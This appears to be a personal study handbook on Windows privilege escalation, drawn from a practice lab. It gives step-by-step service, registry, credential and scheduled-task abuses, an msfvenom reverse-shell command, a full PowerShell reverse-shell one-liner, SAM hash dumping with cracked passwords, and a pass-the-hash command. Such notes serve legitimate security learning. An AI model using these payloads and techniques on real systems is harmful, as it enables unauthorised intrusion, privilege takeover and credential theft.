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Windows Privilege Escalation

Types of accounts in windows machines:

  • Administrator (local): This is the user with the most privileges.
  • Standard (local): These users can access the computer but can only perform limited tasks. Typically these users can not make permanent or essential changes to the system.
  • Guest: This account gives access to the system but is not defined as a user.
  • Standard (domain): Active Directory allows organizations to manage user accounts. A standard domain account may have local administrator privileges.
  • Administrator (domain): Could be considered as the most privileged user. It can edit, create, and delete other users throughout the organization's domain.
  • SYSTEM : This not particularly an account but windows services utilize this account to do its task, but even this account has higher privileges

An Important point worth noting is Groups, any user of Group Administrator helps us to escalate!

Information Gathering:

  1. whoami /priv - current user's privileges
  2. net users - lists all users
  3. net user <username> - lists details of a specific user
  4. qwinsta - Other users logged in simultaneously
  5. net localgroup - Groups available in system
  6. net localgroup <group-name> - list members of a specific group
  7. systeminfo - gives all the info info about OS
  8. hostname - hostname of system
  9. findstr /si password *.txt - we're looking for the files which consist 'password' that too in text files
  10. wmic qfe get Caption,Description,HotFixID,InstalledOn - this tells about the security patches and related information
  11. netstat -ano - connections associated with the machine
  12. schtasks /query /fo LIST /v - to look for any taks that are scheduled
  13. driverquery - lists the driver related information
  14. sc query windefend - looks for Antivirus service

Windows Exploit Suggester:

  • This is a legendary tool that most people use
  • We can solve 60% boxes out there on internet using this tool
  • Link: https://github.com/AonCyberLabs/Windows-Exploit-Suggester
  • Just have a copy of output of systeminfo tool in your machine and this is the only requirement for this tool
  • Pro Tip: Make sure all dependancies are fulfilled!

Vulnerable Software:

  • Here we'll try to find the software version thats installed and look for whether its vulnerable or not
  • wmic product get name,version,vendor - this gives product name, version, and the vendor. This particular command gives a proper visualisation of what we need.
  • Sometimes the above command might not work so use wmic service list brief | findstr "Running" and in order to obtain more information regarding the service use sc qc <ServiceName>

Privilege Escalation thru Metasploit:

  • After getting session in metasploit, run a module named post/multi/recon/local_exploit_suggester, make sure that ur session is in background so that this tool works properly or u can simply load it from meterpreter.
  • Then It'll suggest some modules which can be exploited so try them and some of them might work(optional).

WinPEAS:

  • This is an automated enumeration script which is quite helpful.
  • For best usage look for all the options by running winpeas.exe --help
  • Run the options that are only required and tune the output.

Kernel Exploit:

  • Use this particular tool called Windows Exploit Suggester
  • Firstly get the info of system by running systeminfo command and copy that to any file and name it with extension .txt
  • Now run the tool using the database
  • Here look for the kernel releated exploits.
  • Happy hacking!!

Service Exploits:

Insecure service permissions:

  • Here we'll try to identify services with some insecure permissions and then we can try to exploit them.
  • Here we can make use of winpeas.exe servicesinfo command and we can see the services which are quite helpful
  • One interesting part of output is like this,

    daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped
    YOU CAN MODIFY THIS SERVICE: ChangeConfig
  • But to obtain more information we can use a tool called accesschk which is by Microsoft, run it as follows accesschk.exe /accepteula -uwcqv <current-user> <service>, output is,
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL
  • But the main part is service_change_config where we can change configuration of the service.
  • Run sc qc <service> and then note the Binary_path_name(this can be also called as binpath), which we're going to change(evil smile)
  • No create a playload which is of shell type and transfer it to the target machine
  • Syntax to change the config, sc config <service> <option>="<value>"
  • Now sc config daclsvc binpath="<path>" and now start the service sc start daclsvc

Unquoted Service Path:(USP)

  • For services the path needs to be in quotes, if its not enclosed like that then we can exploit that loophole and get high privilege.
Vulnerability Insight: 
The Windows API must assume where to find the referenced application if the path contains spaces and is not enclosed by quotation marks. If, for example, a service uses the unquoted path:

Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe

The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.

C:\Program.exe
C:\Program Files\Ignite.exe
C:\Program Files\Ignite Data\Vuln.exe
C:\Program Files\Ignite Data\Vuln Service\file.exe
  • To get more information just use WinPEAS script with option servicesinfo, here we can see info if we can exploit any Unquoted Service Path, Here I ran the tool and the interesting part of output is like this,
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected
  • The output here clearly specifies that No quotes and Space Detected so we can conclude that we can exploit this particular service using USP
  • And to gather more information regarding service use sc qc <service>
  • Now let's check the permission for this particular location C:\Program Files\Unquoted Path Service using accesschk, so run accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service". Output:
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"
C:\Program Files\Unquoted Path Service
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Users
  RW NT SERVICE\TrustedInstaller
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  • We have read and write permission.
  • Now we'll create a payload and paste it in C:\Program Files\Unquoted Path Service, thru copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe", here I'm naming with a different name which has some advantage with alphabetical order as well.
  • Now start the service, sc start unquotedsvc, we're admin!!!

Weak Registry Permissions:

  • Here we'll try to exploit services with weak registry permissions.
  • to look for we need to make use of Winpeas with servicesinfo option. The output looks similar to this
����������͹ Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions                                                                                          
    HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])
  • No we go the name of service which is regsvc, so lets dig deep about this service, so run sc qc regsvc and the output is,
sc qc regsvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: regsvc
        TYPE               : 10  WIN32_OWN_PROCESS 
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe"
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : Insecure Registry Service
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem
  • Some cool fact is that the path is quotes so no Unquoted Service Path.
  • Now lets run accesschk.exe and lets dig deep, so run accesschk /acceptula -uvwqk <path of registry>(which is HKLM\system\currentcontrolset\services\regsvc)
  • look for RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS) in output and we're now good to exploit.
  • Noe lets see the options within the registry by using reg query HKLM\system\currentcontrolset\services\regsvc and I found an options called ImagePath which takes executable value, so lets exploit it. First of all create a reverse-shell.
  • Now run reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f, choose path of payload according to ur requirement.
  • Now run the service, net start regsvc and hurray! I got the shell.

Insecure Service Executables:

  • Here the File permissions of a service is accessible by all! We try to change the executable of the service and we're good to go!
  • Lets run Winpeas specifically with servicesinfo module and lets see anything interesting, and the output is,
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
    File Permissions: Everyone [AllAccess]
  • Everyone have access to the file for the service filepermsvc, so we'll create a payload a reverse_shell and replace that with the executable of the service and we'll obtain shell.
  • This is kind of easy compared to above.

Registry

  • Here we make use of Registry to find out info and we'll try to exploit!
  • We're juect checking the features which we can abuse

Autoruns:

  • Autoruns is a feature in Windows to start few services or application during startup, for example "greenshot"
  • We can check them manually by running reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - this will display autorun programs and their paths.
  • The output is,
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    SecurityHealth    REG_EXPAND_SZ    %windir%\system32\SecurityHealthSystray.exe
    My Program    REG_SZ    "C:\Program Files\Autorun Program\program.exe"
  • We got 2 programs with path so lets test.
  • Now we'll run accesscheck to check what permissions are available to the file-path of these autoruns
  • Simply run accesschk.exe \accepteula -wvu "<path>", i ran that for My Program autorun's path and the output statted FILE_ALL_ACCESS, so we can literally do anything in this folder. Mainly we can replace the original executable and restart the system and we can get the shell.
  • No we need to wait till the admin login and we'll get the shell as privileges user!
  • The catch here is that we need to wait till admin/owner logins or else we're good to go!

AlwaysInstallElevated

  • It allows standard user to install msi(Microsoft Installer) with adminsitrative privileges.
  • This is cool and easy to obtain higher privileges,
  • We can check thet by running, reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated and reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  • Run both these commands and the value for AlwaysInstallElevated must be 1 or 0x1. So that we can confirm and proceed along.
  • Now create a reverse-shell of format msi for reference check the below command, msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msi
  • Now transfer that to windows machine and run the command, msiexec /quiet /qn /i reverse.msi
  • Hurray! we got the shell as nt authority\system

Passwords:

  • Here we look for credentials in registry, files...etc
  • And we'll try to login!

Looking for passwords in Registry:

  • We can search registry for passwords, sometimes we can find other user's passwords or even owner's password.
  • Run reg query HKLM /f password /t REG_SZ /s this gives all the details in registry which contains password string, search and you might find it! But the sad part is I was unable to obtain any!
  • Also run reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon" , we might find some information.
  • We can also make use of our legendary tool winPEAS run with some options like windowscreds - looks for credentials, also filesinfo - looks into files and registry for useful data(sometimes passwords also)
  • After obtaining password here it's password123, so now lets login with the help of psexec(link: https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py) and the syntax is python3 psexec.py [email protected] then it'll prompt for password mention it and we'll get access like admin!

Passwords : Savedcreds

  • First of all run cmdkey /list, here cmdkey is an windows-server application that Creates, lists, and deletes stored user names and passwords or credentials. By running this we can see what are all the credentials of users saved!
  • Th output is,
Currently stored credentials:

    Target: WindowsLive:target=virtualapp/didlogical
    Type: Generic 
    User: 02nfpgrklkitqatu
    Local machine persistence
    
    Target: Domain:interactive=WIN-QBA94KB3IOF\admin
    Type: Domain Password
    User: WIN-QBA94KB3IOF\admin
  • We can see the user admin so lets make use of runas utility. It allows a user to run specific tools and programs with different permissions than the user's current logon provides.
  • lets run runas /savecred /user:admin C:\Temp\reverse.exe, this will give us the admin privileges

Passwords: SAM(Security Accounts manager)

  • SAM consists of NTLM hashes of windows passwords, we have chance to crack them but this might not always be helpful because we're dealing with hashes!
  • But knowing the method will definitely helps.
  • And 99% of the times SAM file cannot be accessed with normal privileges, but here in the box the author created a copy of SAM file in C:\Windows\Repair directory, so that we can play! Here in that directory there are 2 files namely, SAM and SYSTEM
  • We need to get both the files so that we can use with a tool named creddump7(https://github.com/CiscoCXSecurity/creddump7). I got them thru the help of meterpreter download command
  • Now after cloning run the following command python2 pwdump.py /opt/work/SYSTEM /opt/work/SAM it'll now display the hashes of users that are available in windows machine. The output is,
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2:::
user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::
  • Now save the above content in a text file and now crack it with the help of JohnTheRipper, the syntax is john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt, and it cracked!
password123      (admin)     
password321      (user)     
Passw0rd!        (Administrator)

Password: Pass the hash attack

  • Lets assume that we are not able to crack the hash as its not in the wordlist, then we can use this attack Pass the hash, which allows us to authenticate with the help of hash!
  • So get the hash, here lets login as admin whose hash is a9fdfa038c4b75ebc76dc855dd74f0da
  • First export, export SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da here we're using hash with groupid as well
  • Then run pth-winexe -U admin% //10.10.213.97 cmd.exe, I got shell as admin
  • The tool pth-winexe is already available in kali.
  • If stuck check this: https://www.whitelist1.com/2017/10/pass-hash-pth-attack-with-pth-winexe.html

Exploiting Scheduled tasks:

  • Like in Linux there are schedules tasks in windows as well.
  • To view all the schedules tasks run schtasks /query /fo LIST /V
  • Here CleanUp.ps1 seems interesting and the path is C:\DevTools\CleanUp.ps1
  • So lets see what we can do this location as well as to that file, accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 and we have all the privileges to read, write...etc
  • The process in the description of task is bit different so I looked for a powershell-reverseshell, which is,
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
  • Then I transferred and renamed as CleanUp.ps1 and I got connection.

Insecure GUI apps:

  • After getting RDP connection open Taskmanager and there in Details tab we can see the applications and the user, who's running that.
  • Here they intentionally configured mspaint.exe to run as admin, so this will be out target.
  • As we're working with Paint we'll have an option to open files, so we'll open file://c:/windows/system32/cmd.exe and boom! We go the shell as admin user!
  • Here the functionality is bit limited coz we might not always get an RDP connection.

Startup Apps:

  • Windows has a feature to allow some apps to run in Startup, we can abuse this feature.
  • Startup apps are found in C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp, this is default path.
  • Lets check what we can do thru accesschk.exe, so run accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp". The output is,
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Users
  RW WIN-QBA94KB3IOF\Administrator
  RW WIN-QBA94KB3IOF\admin
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  R  Everyone
  • Here there's a script called CreateShortcut.vbs which runs with admin priviliges and the mail aim of this is to create a shortcut for the reverse-shell which we uploaded.
  • Transfer payload and run the script now we need to wait till admin logins and then we'll get the shell.
  • This is rare and chance of exploiting thru this is less.

Token Impersonation:

  • Tokens are like cookies for computer, the benfit is that we dont need to mention credentials everytime inorder to connect to any network...etc
  • There are 2 types of tokens,
  1. Delegate token: created for logging into a machine or using a RDP
  2. Impersonate toke: Non-interactive, used for attaching network dirve or a domain logon script.

Potato Attacks:

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My handbook for Windows Privilege Escalation concepts. Do Check out my Playlist, link: https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk

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